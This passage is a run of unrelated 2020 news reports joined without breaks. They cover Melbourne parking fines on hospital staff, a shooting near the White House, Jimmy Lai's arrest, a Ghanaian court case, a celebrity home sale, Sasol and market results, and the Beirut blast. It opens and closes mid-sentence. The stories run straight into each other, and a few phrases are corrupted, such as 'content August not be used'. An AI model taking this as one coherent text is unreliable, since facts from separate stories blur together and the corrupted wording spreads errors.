COVID-19. That means most have to drive to work - and often it's a struggle to find a parking space within hospital grounds. After working 56 hours over four days and taking care of 'some of the state's sickest patients,' Dr Arandjelovic finished her gruelling shift at 10pm on Monday to find a $99 fine (pictured) on her windshield 'The day before lockdown, my bike was stolen from outside this hospital,' she said. 'In lockdown, who do you think is parking in the streets by the hospital? It is the doctors, nurses, orderlies, pharmacists, physios, technicians, cleaners, cooks, ward clerks. 'So when you send a parking inspector to Parkville, know that it is these people you are targeting.' Dr Arandjelovic issued an emotional plea to parking inspectors to avoid from hospitals when handing out fines. 'We cannot work from home. We come here, and we sweat it out under our gowns, our voices muffled under masks, learning to 'smile with our eyes',' she said. 'We wash our hands obsessively, hoping desperately we do not become part of That Statistic. We do not see our families for weeks.' An outraged Twitter user jumped to Dr Arandjelovic's defence, and even offered to foot the bill for her fine. 'Hi Katarina, I was sorry to see this thread. I can't speak for the City of Melbourne and their policies. However, if you will allow it, I'll happily pay the fine on your behalf,' the man wrote. Victorian Premier Daniel Andrews was on Tuesday grilled about parking inspectors handing out fines to healthcare workers. Dr Arandjelovic issued an emotional plea to parking inspectors to avoid from hospitals when handing out fines Hospital staff are slugged with huge parking fees while working around the clock keeping patients alive 'I don't think someone who is in there literally saving lives, at considerable risk to themselves, should be the subject of a parking ticket,' he told reporters at a press conference. 'Let me follow up on that matter.' The City of Melbourne told Daily Mail Australia that from this Friday, it will provide up to 5000 additional temporary parking permits to frontline workers responding to COVID-19. Lord Mayor Sally Capp said the new passes mean that up to 15,000 permits will have been issued to frontline workers in total. 'Health workers are doing an amazing job at this difficult time. We understand they are playing a critical role saving the lives of many Victorians who have been diagnosed with COVID-19,' the Lord Mayor said. 'We are printing thousands more green dashboard stickers to support frontline staff responding to the pandemic. 'If you believe you got a ticket when you shouldn't have please get in touch with the City of Melbourne and we will follow up. We also recognise the impact this is having on some residents, who are experiencing a higher volume of cars parking in the streets making it difficult for them to find a park.' The extra permits will be made available to hospitals based in the City of Melbourne, Victoria Police, and medical staff working in other COVID-19 related areas. Hospitals rake in tens of millions of dollars a year from their car parks. At some of Melbourne's biggest hospitals fees jumped 25 per cent in three years. Staff are often given discounted rates but at $99 a fortnight at Royal Melbourne Hospital the fees add up over the year. Parking inspectors are still out in force across the Melbourne CBD issuing fines despite Stage 4 restrictions banning all non-essential work Parking inspectors are still out in force across the Melbourne CBD issuing fines despite Stage 4 restrictions banning all non-essential work. Medical workers across Victoria have called for hospital parking to be free so they can avoid the risk of catching coronavirus on public transport. Many more are driving to work than ever before as they fear taking public transport could expose them, and patients, to the deadly virus. Melbourne nurse Paige Wilson has started a petition to Premier Daniel Andrews to make parking for medical workers free across the state. 'Myself and my colleagues are gravely concerned about traveling on public transport whilst community transmission is so high,' she said. 'Particularly in Melbourne, a lot of car parks are closing and my colleagues and I are wondering where we can park from now on without it costing a fortune.' Victoria recorded 321 new coronavirus cases and 19 deaths on Tuesday. WASHINGTON - A man who was shot by a Secret Service officer near the White House on Monday evening shouted, "I'm going to kill you. I'm going to shoot you," according to an internal District of Columbia police report described to The Washington Post by two law enforcement officials. Those people identified the injured man as Myron Berryman, 51. Police said he remained hospitalized Tuesday in critical but stable condition. D.C. Police Chief Peter Newsham said the man is being charged with assault on a police officer. The shooting occurred about 5:50 p.m., while President Donald Trump was holding a nationally televised news conference. The president was quickly ushered away from the podium. The Secret Service said the man approached an officer about one block from the northwestern gate to the White House grounds. Two officials who spoke on the condition of anonymity to discuss the ongoing investigation said video of the incident shows Berryman reach for something at his waist just before the shooting. One of those officials, who viewed the video, said it showed Berryman walk past the officer, then turn back before moving his hand to his waist and getting into a crouching position. That official said audio also was recorded. The second person, who was briefed on the video but did not view it, said officials were told that it shows Berryman taking a stance that the officer viewed as threatening. Thomas Sullivan, the chief of the Uniformed Division of the Secret Service, on Monday night said the man approached the officer and said he had a weapon. The man ran aggressively toward the officer and withdrew an object from his clothing, Sullivan said. He said the man then crouched in a "shooter's stance" as if about to fire. The officer shot him, striking him in the torso, Sullivan said. When Trump returned to the White House briefing room, he told reporters that he understood the person was armed. Two law enforcement officials with knowledge of the investigation said no weapon was recovered at the scene. The public version of the D.C. police report on the incident released Tuesday omits references to the shooting and includes a one-sentence narrative indicating the suspect was arrested. In a box titled "Weapon/force involved," it says the defendant "stated to Officer that he had a gun." A Secret Service spokeswoman declined to answer questions Tuesday. Berryman, who is 6-foot-3, had been a licensed boxer and has lived in Dayton, Ohio; Forrestville, Md.; and, more recently, Wheeling, W.Va. He had been charged with resisting arrest and disorderly conduct in Prince George's County, Md., in 2012 and sought to take his case to trial, but it ended in a plea in 2013. Reached by phone Tuesday morning, Berryman's sister said she could not believe her brother would threaten anyone. He is a large man in stature and can appear physically imposing, she said, but she insisted that "he wouldn't hurt anyone." "They said he had a weapon? He ran toward him?" said the sister, who asked that her name not be used, because she is concerned about the sensitivity of the case. "This is crazy. He is a man of God. He would not have a weapon, for sure. His weapon is the word of God." In a brief interview, Berryman's sister said she was stunned by the news that her brother had been shot outside the White House and said she needed to contact him and her family. She surmised that he could have been participating in protests outside the White House, where demonstrators have gathered regularly since the death of George Floyd in Minneapolis police custody. "Myron is always encouraging everybody," she said. "He has never had anything negative to say. He always encourages people." After the incident Monday, Trump returned the podium and told reporters about the shooting outside. He said he had been escorted to the Oval Office. Asked whether he had been rattled by the incident, he replied, "I don't know," adding, "Do I seem rattled?" He described the shooting as "unfortunate" and said the world has "always been a dangerous place." In 2016, a Secret Service officer shot and wounded a Pennsylvania man who the service said walked toward a White House security post with a handgun pointed at the ground. Police said he ignored officers and was shot in the chest after he raised his left hand. He pleaded guilty to resisting or impeding a law enforcement officer with a dangerous weapon, and a federal court judge sentenced him to eight months in prison. The judge allowed the suspect to serve his time in a hospital to be treated for mental illness. - - - The Washington Post's Alice Crites and Julie Tate contributed to this report. Paris: A series of "barbaric" killings of horses and the mutilation of their bodies has horrified rural France. Loading The latest horse found dead was a one-year-old filly whose right ear and genitalia had been cut off, an eye gouged out, and its neck slashed. A woman made the macabre discovery in a secluded meadow while walking near the Burgundy village of Cortambert at the weekend. Police are struggling to identify the culprits or find a motive. Jessica Martin, a police captain, said: "Everything leads us to conclude that the horse was tortured. It's utterly barbaric." Hong Kong Police Raid Next Media Offices, Arrest Pro-Democracy Founder 2020-08-10 -- Authorities in Hong Kong on Monday arrested pro-democracy media tycoon Jimmy Lai and raided the newsroom of his flagship newspaper, the Apple Daily, under a draconian new security law imposed on the city by the ruling Chinese Communist Party. Dozens of uniformed officers from the newly established national security division of the Hong Kong police force filed into the headquarters of Lai's Next Digital media company, cordoning off the Apple Daily's newsroom and removing boxes of material they described as "evidence." Lai, 71, an outspoken critic of Beijing, was taken away by police at around 10.00 a.m. local time and charged under a clause in the new law banning "collusion with foreign powers." Eight of his colleagues were also arrested. "Jimmy Lai is being arrested for collusion with foreign powers at this time," Lai's aide Mark Simon, said via Twitter. Police also arrested Lai's son Ian and searched both men's homes, the Apple Daily reported. According to the Oriental Daily News, an arrest warrant has also been issued for Simon, who is currently not in Hong Kong. The raid on the Apple Daily is the first time the new security regime, which is being overseen by China's feared state security police, has been used to target a media organization. Lai's is also the first high-profile arrest on charges of "collusion with foreign powers," a charge which came after repeated claims from Beijing that last year's anti-government and pro-democracy protest movement was instigated by "hostile overseas forces." Hong Kong Journalists Association (HKJA), the Hong Kong Photojournalists' Association, the Independent Commentators Association, and the Next Media Labor Union, and four other media industry organizations issued a joint statement after the raid, saying the police had searched journalists' desks and personal belongings. "More than 100 police officers searched the Next Digital building and set up a cordon," the statement said. "Everyone's belongings were searched, as well as items at their desks." "It is very important for the operation of the media that research materials and source information remain protected," it said. "This wanton raid on news materials by the police will create a chilling effect, making sources reluctant to expose shady dealings in the media and weakening its ability to supervise those in power," it said. 'Prepare for the worst' HKJA chairman Chris Yeung called on the city's journalists to prepare for the worst, as the authorities had removed material from the Next Digital offices that could identify journalists' sources. "Maybe only a month or two ago, nobody could have imagined such a thing could happen here in Hong Kong," Yeung told reporters outside Digital Media headquarters. "I don't think even people who have worked in the media for decades have ever seen anything like it." He said police raids on media organizations, in breach of traditional protections of the "fourth estate," would create an atmosphere of fear, and have a huge impact on journalists, in a psychological campaign known in Chinese as "white terror." Yeung said the HKJA had been concerned from the day the new law took effect that it gave broad and sweeping powers to police in cases deemed to involve "national security." "Unfortunately it didn't take long for our worries to become a reality, and in an extremely bad case of police operation and raid to a media office," he said in comments reported by government broadcaster RTHK. Steve Li, a senior superintendent in Hong Kong's national security police, said police had displayed a warrant before entering the building, and denied that any material generated by journalists had been removed. "We all knew that it was a media organization and there was news material involved ... so we didn't search if there was a good chance that there was that kind of material in those departments, for example, the editorial department." But social media reports said police had ordered journalists to leave the newsroom and cordoned off the area. Police also denied permission to news outlets including Reuters, Agence France-Presse, and the Associated Press, to enter the premises to cover the raid. A police spokesperson said there wasn't enough space to allow journalists inside. "We chose local, bigger news organizations that haven't hindered us or threatened our safety during previous operations," the spokesperson said. During last year's protest movement, journalists repeatedly lodged complaints after police prevented them from filming, claiming that they were "obstructing" a police operation or failing to cooperate with instructions. Yeung said it was unacceptable for the police to be screening journalists to determine their access to such events. FCC condemns raid, arrests The Foreign Correspondents' Club (FCC) strongly condemned Lai's arrest, along with that of eight colleagues, and the raid on the Apple Daily. "The arrests, and the raid on the newsroom, are a direct assault on Hong Kong's press freedom and signal a dark new phase in the erosion of the city's global reputation," the statement said. It said the raid made a nonsense of official claims that the national security law wouldn't be used to suppress the media. It said police were seen "rifling through notes and papers on reporters' desks." "All of this was witnessed via live-streaming by Apple Daily reporters who continued to video this breach of press freedom and provide continuous coverage online," it said, confirming reports that police had blocked several local and international media outlets from a press briefing about the raid. "It seems some police officers are substituting their judgment as to which media outlets they consider 'friendly' and allowed to cover important briefings, and which media they can block," the FCC said, adding that journalists who did attend were prevented from asking questions of police. "If the police are allowed to decide who counts as a legitimate journalist ... no critical coverage [is] available to the public," it said. "Instead of the free flow of information, Hong Kong will have only propaganda." More suppression likely Bruce Lui, a senior lecturer in Hong Kong Baptist University's journalism department, said suppression of Hong Kong's once freewheeling media organizations now looked likely. "They can do this both through law enforcement actions and through personnel changes," Lui said. "It will now be very easy for the government to move against Next Media, which has a strong stance and attempts to hold the government to account, as well as some overseas media organizations." Lai's arrest comes after he made a series of critical tweets in May after Beijing announced its intention to impose the national security law on Hong Kong. China's state-owned Global Times newspaper has called the tweets "evidence of subversion." The same month, Lai wrote an op-ed in the New York Times questioning this view. "I have always thought I might one day be sent to jail for my publications or for my calls for democracy in Hong Kong," Lai wrote. "But for a few tweets, and because they are said to threaten the national security of mighty China? That's a new one, even for me." Lai has also been arrested on public order charges in connection with his attendance at protests last year and his attendance at a vigil for the victims of the June 4, 1989 Tiananmen massacre. He also met with then U.S. Vice President Mike Pence and Secretary of State Mike Pompeo last year to discuss his opposition to plans by Hong Kong chief executive Carrie Lam to allow extradition to mainland China, the issue that triggered mass peaceful protests of up to two million people on the city's streets. The national security law bans secessionist, subversive, and terrorist acts, as well as collusion with foreign forces to interfere in Hong Kong's internal affairs, charges which carry a maximum sentence of imprisonment for life. Reported by Lau Siu-fung for RFA's Cantonese Service, and by Gao Feng for the Mandarin Service. Translated and edited by Luisetta Mudie. Copyright 1998-2020, RFA. Used with the permission of Radio Free Asia, 2025 M St. NW, Suite 300, Washington DC 20036. For any commercial use of RFA content please send an email to: mahajanr@rfa.org. RFA content August not be used in a manner which would give the appearance of any endorsement of any product or support of any issue or political position. Please read the full text of our Terms of Use. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A 23-year-old labourer was on Monday sentenced to ten years imprisonment in hard labour after an Accra Circuit Court found him guilty on the charge of defilement. Selorm Beke had earlier pleaded not guilty. The court presided over by Mrs. Christina Cann however found him guilty for defiling a 14-year-old girl at Teshie in 2019, at the end of the trial. Beke is said to have taken advantage of the victim after buying her beer to drink. Prosecuting, Chief Inspector Kofi Atimbire said, the complainant is the mother of the victim and both reside at Teshie, while Beke resides at Kotobabi near Spintex. Prosecution said in September last year, the victim decided to go and witness the Teshie Street Carnival, which was taking place at the time. Prosecution said the victim first went to her mother's friend's house where she and and a house help in the house went to purchase prepaid credit. The Prosecution said on their way Beke approached them and eventually proposed to the victim and dispatched the victim's friend. Prosecution said Beke led the victim into a drinking spot and purchased beer for the victim. Chief Inspector Atimbire said the victim after drinking the beer became intoxicated and Beke sent her to his wooden kiosk, which served as his sleeping place at Kotobabi, near Spintex. Prosecution said Beke had sex with the victim and in the morning gave her GHC20.00 for transport home. He said the complainant who could not find the victim had earlier reported the matter to the Domestic Violence and Victims Support Unit at Nungua. Prosecution said when the victim got home, she informed the complainant that it was Beke who lured her into his kiosk and had sex with her. He said the complainant reported the victim's ordeal to the DOVVSU where the complainant was issued with a medical report form to seek medical attention for the victim and a full report was submitted on the victim to the Police. ---GNA Aca-mazing! Pitch Perfect star Brittany Snow is singing goodbye to her stylish Studio City, CA home. The modern residence can be yours for $2,749,000. The actress and singer purchased the newly built property in 2015 for $2,179,000. But now shes moving on from the harmonious home, and hopes to pocket a profit on the way out. The two-story, Spanish-style residence features five bedrooms and six bathrooms. It's gated, and includes oak floors, natural light, vaulted and wood-beamed ceilings, and white tones throughout. The actress worked with an interior designer to select furnishings and to keep the house on pitch with her personal style. Brittany is drawn to clean lines, so we made sure to choose classic pieces, the designer Meghan Noyes of House of Noyes, told People magazine. The trendy look incorporates a neutral palette, fun artwork on the walls, and lots of throw pillows. Living room with fireplace in Studio City, CA, home realtor.com Dining room realtor.com Family room opening out to patio realtor.com Kitchen and casual eating area realtor.com Bedroom with balcony realtor.com Reading nook and skylights realtor.com Pool and outdoor space realtor.com With 3,830 square feet of living space, the open layout includes a living room with a fireplace and a formal dining room. The modern kitchen boasts LED touchscreen appliances, leathered marble countertops, an island with seating, three ovens, custom cabinetry, and a casual eating area. In the family room, a custom, 12-foot bi-fold door system opens to the patio, and seamlessly extends the living space outside. Upstairs, the master suite includes a balcony that overlooks the backyard, dual closets, fireplace, and a luxurious en suite bathroom, with a soaking tub and high-end fixtures. Other highlights include a gym, a built-in reading nook with skylights, an office, and a huge laundry room. The home has plenty of parking, thanks to a two-car garage and the gated driveway, which accommodates two more cars. The compact exterior space includes a grassy lawn, and a patio with a sitting area and fire pit, as well as a pool. Festive lights are strung up over the outdoor area, perfect for holding a soiree or an impromptu a cappella "riff off." Snow, 34, is probably best known for the Pitch Perfect movies. She rose to prominence on Guiding Light and then American Dreams. Shes also starred in the movies Hairspray, Prom Night, and Would You Rather. She recently starred in the romantic comedy Hooking Up, which can be seen on Amazon Prime. Tyler Stanaland with Compass is the listing agent. Stanaland and Snow married earlier this year. The two also share an apartment in New York City's Greenwich Village. The actress posted a shot of the newly decorated pad on Instagram. "Love is: decorating our first NYC loft together," she wrote. https://www.instagram.com/p/B4Ld0psFuzb/?utm_source=ig_web_copy_link The post 'Pitch Perfect' Star Brittany Snow Has Listed Her Harmonious Home for $2.75M appeared first on Real Estate News & Insights | realtor.com. JOHANNESBURG, Aug. 11, 2020 /PRNewswire/ -- Sasol will announce group financial results for the year ended 30 June 2020 (2020 financial year) that were impacted by the COVID-19 pandemic and a severe decline in crude oil and chemical product prices. The impact of the weak macro-economic environment was partly mitigated by a strong cash cost, working capital and capital expenditure performance. Shareholders are advised that, for the 2020 financial year: The loss per share is expected to be between R146,75 and R148,15 compared to the prior year earnings per share of R6,97 (representing a decline of more than 100%); Headline loss per share is expected to be between R8,72 and R14,86 compared to the prior year headline earnings per share (HEPS) of R30,72 (representing a decline of more than 100%); and Core HEPS (CHEPS**) is expected to be between R11,02 and R18,56 compared to the prior year CHEPS of R37,65. Sasol's adjusted earnings before interest, tax, depreciation and amortisation (adjusted EBITDA*) is expected to decline by between 17% and 37% from R47,6 billion in the prior year, to between R30,0 billion and R39,5 billion. This results from a 18% decrease in the rand per barrel price of Brent crude oil coupled with much softer global chemical and refining margins impacting our gross margins adversely, especially during the second half of the 2020 financial year. The cash fixed cost performance for the second half of the year improved markedly, partly offsetting the impact of lower gross margins. The loss per share was as a result of the decrease in the adjusted EBITDA as well as notable non-cash adjustments to earnings. The largest contributor relates to impairments of a number of cash generating units following the decline in the long-term macro-economic outlook, and the fair value impact following the commencement of partnering discussions for our Base Chemicals assets in the United States. Aggregate pre-tax impairment charges of approximately R112 billion have been recognised in the 2020 financial year. The impairments and fair value adjustments have impacted the reporting segments as follows: Energy R12,5 billion across the portfolio; Base Chemicals R71,3 billion, primarily in the United States ; and ; and Performance Chemicals R27,7 billion, primarily relating to its share of ethylene producing assets in the United States . Other non-cash adjustments include: Unrealised losses of R7,4 billion on the translation of monetary assets and liabilities due to the 23% weakening of the closing rand/US dollar exchange rate; and Unrealised losses of R4,8 billion on the valuation of financial instruments and derivative contracts. Depreciation of R3,9bn attributable to those Lake Charles Chemicals Project (LCCP) units that reached beneficial operation. The financial information on which this trading statement is based has not been reviewed and reported on by the Company's external auditors. Sasol will release its Annual Financial Results on Monday, 17 August 2020, for the year ended 30 June 2020. Given the prevalence of the COVID-19 pandemic, and the associated restrictions placed on public gatherings, Sasol has decided to pre-record its results presentation. Sasol's President and Chief Executive Officer, Fleetwood Grobler, and Chief Financial Officer, Paul Victor, will present the results. The pre-recorded presentation will be available on 17 August 2020 on the following link: https://www.corpcam.com/Sasol17082020. A conference call will also be hosted via webcast at 15h00 (SA) with Fleetwood Grobler and Paul Victor to discuss the results and provide an update of the business. Please confirm your participation by registering online: https://www.corpcam.com/Sasol17August2020 * Adjusted EBITDA is calculated by adjusting operating profit for depreciation, amortisation, share-based payments, remeasurement items, change in discount rates of our rehabilitation provisions, all unrealised translation gains and losses, and all unrealised gains and losses on our derivatives and hedging activities. ** Core HEPS is calculated by adjusting headline earnings with non-recurring items, earnings losses of significant capital projects (exceeding R4 billion) which have reached beneficial operation and are still ramping up, all translation gains and losses (realised and unrealised), all gains and losses on our derivatives and hedging activities (realised and unrealised), and share-based payments on implementation of BBBEE transactions. Adjustments in relation to the valuation of our derivatives at period end are to remove volatility from earnings as these instruments are valued using forward curves and other market factors at the reporting date and could vary from period to period. We believe core headline earnings are a useful measure of the groups sustainable operating performance. Adjusted EBITDA and Core HEPS are not defined terms under IFRS and may not be comparable with similarly titled measures reported by other companies. The aforementioned adjustments are the responsibility of the directors of Sasol. The adjustments have been prepared for illustrative purposes only and due to their nature, may not fairly present Sasols financial position, changes in equity, results of operations or cash flows. For further information, please contact: Sasol Investor Relations, Feroza Syed, Chief Investor Relations Officer Direct telephone: +27 (0) 82 557 7740 [email protected] Disclaimer - Forward-looking statements Sasol may, in this document, make certain statements that are not historical facts and relate to analyses and other information which are based on forecasts of future results and estimates of amounts not yet determinable. These statements may also relate to our future prospects, expectations, developments and business strategies. Examples of such forward-looking statements include, but are not limited to, the impact of the novel coronavirus (COVID-19) pandemic on Sasol's business, results of operations, financial condition and liquidity and statements regarding the effectiveness of any actions taken by Sasol to address or limit any impact of COVID-19 on its business; statements regarding exchange rate fluctuations, changing crude oil prices , volume growth, increases in market share, total shareholder return, executing our growth projects (including LCCP), oil and gas reserves, cost reductions, our climate change strategy and business performance outlook. Words such as "believe", "anticipate", "expect", "intend", "seek", "will", "plan", "could", "may", "endeavour", "target", "forecast" and "project" and similar expressions are intended to identify such forward-looking statements, but are not the exclusive means of identifying such statements. By their very nature, forward-looking statements involve inherent risks and uncertainties, both general and specific, and there are risks that the predictions, forecasts, projections and other forward-looking statements will not be achieved. If one or more of these risks materialise, or should underlying assumptions prove incorrect, our actual results may differ materially from those anticipated. You should understand that a number of important factors could cause actual results to differ materially from the plans, objectives, expectations, estimates and intentions expressed in such forward-looking statements. These factors and others are discussed more fully in our most recent annual report on Form 20-F filed on 28 October 2019 and in other filings with the United States Securities and Exchange Commission. The list of factors discussed therein is not exhaustive; when relying on forward-looking statements to make investment decisions, you should carefully consider both these factors and other uncertainties and events. Forward-looking statements apply only as of the date on which they are made, and we do not undertake any obligation to update or revise any of them, whether as a result of new information, future events or otherwise. SOURCE Sasol Limited (Alliance News) - The following is a summary of top news stories Tuesday. COMPANIES InterContinental Hotels said it swung to a loss in the first half of 2020 as revenue plummeted during the Covid-19 pandemic and its associated lockdowns. IHG reported a pretax loss of USD275 million for the six months ended June 30, swinging from a USD375 million profit a year before, as revenue dropped 45% to USD1.25 billion from USD2.28 billion. The company explained that its loss was "driven predominantly by materially lower fee revenues, as well as losses in the owned, leased and managed lease estate, coupled with a USD99 million movement in System Fund contribution to a USD52 million deficit and a USD240 million net increase in operating exceptional charges." Revenue from reportable segments, which excludes System Fund revenue and reimbursement costs, fell 52% to USD488 million, including a 50% drop in reportable segments revenue in the Americas and a 60% drop in Europe, the Middle East, Africa & Asia to USD134 million. Greater China revenue fell 73% to USD74 million. Unilever may have to scrap unification plans if a Dutch tax proposal goes ahead, to avoid the resulting EUR11 billion exit tax charge, it said in its prospectus for the corporate reorganisation on Monday. The private member's bill was introduced by a member of the Dutch House of Representatives for GroenLinks, a Dutch opposition party. According to Anglo-Dutch consumer goods giant Unilever, enacting the bill in its present form - should it apply to unification - could result in a hefty EUR11 billion charge. Unilever is intending to unite the company's legal structure under a single parent company, Unilever, a move set to complete over the weekend of November 21 and 22. However, Unilever's prospectus said: "Proceeding with unification, if it resulted in an exit tax charge of some EUR11 billion, would not be in the best interests of Unilever, its shareholders and other stakeholders as a whole." Unilever said it could opt to abandon its unification proposal "at any time up to the UK High Court hearing to approve the cross-border merger or, subject to the approval of the UK High Court, the CBM effective date." Prudential said it is eyeing a minority initial public offering for its US insurance arm, after the company had been under pressure from activist fund Third Point to demerge the subsidiary. The life insurance company explained that the separation would allow for exclusive focus on its high-growth Asia and Africa businesses. Chief Executive Mike Wells added: "The group expects to commence separation by way of a minority IPO, targeting the first half of 2021, followed by future sell-downs over time, subject to market conditions." Prudential posted pretax profit slumped 43% year-on-year to USD663 million from USD1.16 billion in half-year results. Gross premiums earned slipped 5.9% to USD19.84 billion from USD21.08 billion a year earlier. The firm's dividend was cut 74% to 5.37 cents per share from 20.29 cents a year prior. CEO Wells noted that the payout was one-third of its expected annual dividend under its new payout policy. Online trading services provider Plus500 declared a big dividend hike and a new share buyback program after delivering an "outstanding performance" in the first half. The firms revenue multiplied to USD564.2 million for the six months ended June 30 from USD148.0 million last year and pretax profit rocketed to USD363.2 million from USD63.9 million the year before. Plus500 said record levels of new customer growth amid heightened volatility created by the Covid-19 pandemic was responsible for the revenue surge. Plus500 reported customer deposits more than doubled to USD1.65 billion from USD467.1 million last year. Coupled with the number of new customers multiplied to 198,176 from 47,540 and active customer numbers jumped to 328,409 from 141,692. In light of the strong performance, the Israel-based company declared a dividend of USD0.9531, up substantially from USD0.2734 last year. HSBC said it has launched tender offers for nine separate series of notes, worth USD13.35 billion in total, in order to improve the firm's liabilities structure. The series of nine notes will include: 2.7% senior unsecured notes of USD2.50 billion which are due in January 2022; 4.9% senior unsecured notes of USD900.0 million due in January 2022, 4% senior unsecured notes of USD2.00 billion due in March 2022; floating rate senior unsecured notes of USD1.25 billion due in January, 2022 and 3.0% senior unsecured notes of USD2.50 billion due in May 2021.The other notes include floating rate senior unsecured notes of USD1.00 billion due in March 2021; floating rate senior unsecured notes of USD1.00 billion due in May 2021; 3.4% senior unsecured notes of USD1.16 billion due in March 2021; and 5.1% senior unsecured notes of USD1.03 billion due in April 2021. Prosperity Capital Management has criticised other shareholders for their actions at Petropavlovsk's extraordinary general meeting, in which the chair and chief executive were ousted. The firm announced on Monday that Prosperity, which controls 17% stake in the Russia-focused gold miner Petropavlovsk, expressed disappointment that the Everest Alliance - JSC Uzhuralzoloto group of companies' recently enlarged size allowed it and its affiliates to "overwhelm the ballot box". Prosperity said what remains of the board after the vote should start looking for more independent non-executives straight away and "in a transparent manner" to be sure it is not being influenced by Everest and UCG. "We do not intend to stand by as control of our company is surreptitiously transferred to Everest and UGC, the latter of which claimed that it wanted a board comprised of truly experienced, diverse, and independent directors which we now clearly do not have," noted Chief Investment Advisor Alexander Branis. MARKETS European markets were sharply higher with the US also on course for an upbeat start. "European markets have come flying out of the traps this morning taking their cues from a positive Asia session, as investors focus on the prospect of a fiscal stimulus deal from US political leaders, along with the prospect of a US capital gains tax cut," said Michael Hewson, chief market analyst at CMC Markets. FTSE 100: up 2.4% at 6,198.17 FTSE 250: up 1.7% at 18,024.32 AIM ALL-SHARE: up 0.6% at 944.04 GBP: up at USD1.3106 (USD1.3083) EUR: up at USD1.1798 (USD1.1761) GOLD: lower at USD1,986.40 per ounce (USD2,033.00) OIL (Brent): higher at USD45.48 a barrel (USD44.84) (changes since previous London equities close) ECONOMICS AND GENERAL President Vladimir Putin announced that Russia has developed the first vaccine offering "sustainable immunity" against the coronavirus in a televised video conference call with government ministers on Tuesday. Russia has been pushing hard to quickly develop a coronavirus vaccine and said earlier this month it hoped to launch mass production within weeks and turn out "several million" doses per month by next year. During Russia's mission to develop a vaccine the World Health Organization last week urged Russia to follow established guidelines and go "through all the stages" necessary to develop a safe vaccine. Speaking at a government meeting, Putin emphasised that the vaccine has undergone proper testing and proven safe to use. The Russian leader added that one of his two daughters has received two shots of the vaccine and is feeling well. "She has taken part in the experiment," Putin said. The UK unemployment rate held steady in June, despite the biggest jump in people out of work in over a decade, with many workers electing not to actively seek employment, the Office for National Statistics said Tuesday. The UK unemployment rate in the three months to June was 3.9%, unchanged from the three months to May, the ONS said. The market consensus forecast, cited by FXStreet, was for a rise to 4.2%. The ONS said that in July 730,000 fewer people were in paid employment when compared with March and 114,000 fewer when compared with June. The decrease in employment in the quarter to June was the largest quarterly decrease since May to July 2009, the ONS said. Explaining why the jobless rate has remained flat, the ONS said that to be counted among the unemployed, workers need to be actively looking for a new job, which many have decided not to do yet. Hong Kongers rushed to buy pro-democracy newspaper Apple Daily on Tuesday in a show of support for its owner, who was arrested a day earlier as police rounded up critics of China. A crackdown on dissent in Hong Kong has gathered pace since China imposed a sweeping security law in June, with opposition politicians disqualified and activists arrested for social media posts. The moves have provoked outrage in the West and fear for millions who last year took to the streets to protest communist China's tightening grip on the semi-autonomous city. In one of the most dramatic days of the crackdown, media tycoon Jimmy Lai was among 10 people detained under the new law on Monday as around 200 police officers searched the newsroom of his tabloid, which is unapologetically critical of Beijing. In a show of solidarity for Lai, people in the city rushed to buy Tuesday's Apple Daily, with the newspaper saying it had upped its print run to 550,000 from its normal circulation of 70,000. UK retail sales grew in the second month of opening the non-essential sector, climbing 3.2% annually compared to a 0.5% rise a year prior, according to the British Retail Consortium-KPMG sales monitor. While, like-for-like sales were 4.3% higher in July, improved from 0.3% annual growth a year earlier. "The strongest performance came from food, furniture and homeware, as consumers increasingly invest in their time at home; however, many shops, particularly in fashion, jewellery and beauty, are still struggling to survive. Online sales remained buoyant, slowing only slightly despite more shops reopening," explained Chief Executive Helen Dickinson. Although, sales increased footfall continues to struggle with BRC-Shoppertrak footfall monitor on Friday had shown a 42% annual footfall decline in July. Going forward, KPMG's UK Head of Retail Paul Martin said that the upcoming September quarter will be a true test for retailers, as usually the month brings in high rates of back to school sales. However, Martin warned that: "The furlough scheme unwinding and wider economic uncertainty set for the autumn, consumer anxiety will likely rise along with it." Copyright 2020 Alliance News Limited. All Rights Reserved. The Income Tax Department conducted raids in New Delhi against some Chinese individuals and their local associates for allegedly indulging in a money laundering racket involving Rs 1,000 crore using shell or dubious firms, the Central Board of Direct Taxes (CBDT) said on Tuesday. It said the "subsidiary of Chinese company and its related concerns have taken over Rs 100 crore bogus advances from shell entities for opening businesses of retail showrooms in India". The CBDT, which frames policy for the tax department, said the searches were launched based "on credible inputs that a few Chinese individuals and their Indian associates were involved in money laundering and hawala transactions through a series of shell entities". Some bank officials were also raided, it said. "Search action revealed that at the behest of Chinese individuals, more than 40 bank accounts were created in various dummy entities, entering into credits of more than Rs 1,000 crore over the period," it said in a statement without identifying the entities involved. "Incriminating documents of hawala transactions and money laundering with active involvement of bank employees and Chartered Accountants have been found as a result of the search action," it said. Evidence of foreign hawala transactions involving Hong Kong and US dollars have also been unearthed, the CBDT said. (With inputs from PTI) Three firefighters. One Lebanese family. The same restless wait. Rita Hitti has not slept a wink since the Beirut port blast, when her firefighting son, nephew and son-in-law went missing. "In one piece or several, we want our sons back," she told AFP from the Hitti family's home in the mountain town of Qartaba, north of Beirut. "We have been waiting for the remains for six days," she added, dark circles under her eyes. Najib Hitti, 27, Charbel Hitti, 22 and Charbel Karam, 37, all relatives, left together in one firetruck to douse a port blaze believed to have sparked the August 4 mega-blast that killed 160 people and wounded at least 6,000 others across town. They were among the first rescuers at the scene. They have not been heard of since. Near the entrance to their Qartaba home, the three men are praised as "heroes" in a huge banner unfurled over a wall. The double exposure shot shows them in the foreground dressed sharply in suits. In the background, the blast's now-infamous pink plume rises above their heads as they try to douse a fire. An eerie calm filled the stone-arched living room, where dozens of relatives and neighbours gathered around Rita, the mother of Najib Hitti. The women were mum, the men whispered between themselves, the young shuffled in and out of the room, quietly. Karlen, Rita's daughter, looked among the most sombre, with her husband Charbel Karam, brother Najib and cousin Charbel all missing. Sitting next to her mother on the couch, she fought back tears and did not say a single word. - 'I know their smell' - The Hittis' hopes of seeing their loved ones alive have dimmed since the army on Sunday said it had concluded search and rescue operations with little to no hope of finding survivors. The health ministry has said the number of missing stands at less than 20, while the army announced it had lifted five corpses from beneath the rubble. Story continues A large blaze was still ripping through the blast site when the Hittis and other relatives of port employees dashed to the disaster zone to check on their loved ones. But they were stopped by security forces. "I told them I would know my boys from their smell," Rita said she told an officer who barred her from the site. "Let me enter to search for them and when I whiff their smell I will know where they are," the mother said she pleaded. Ever since, her hopes have gradually dwindled, but her anger is boiling. Lebanese authorities have pledged a swift investigation but the exact cause of the blast remains unclear. Authorities say it was triggered by a fire of unknown origin that broke out in a port warehouse where a 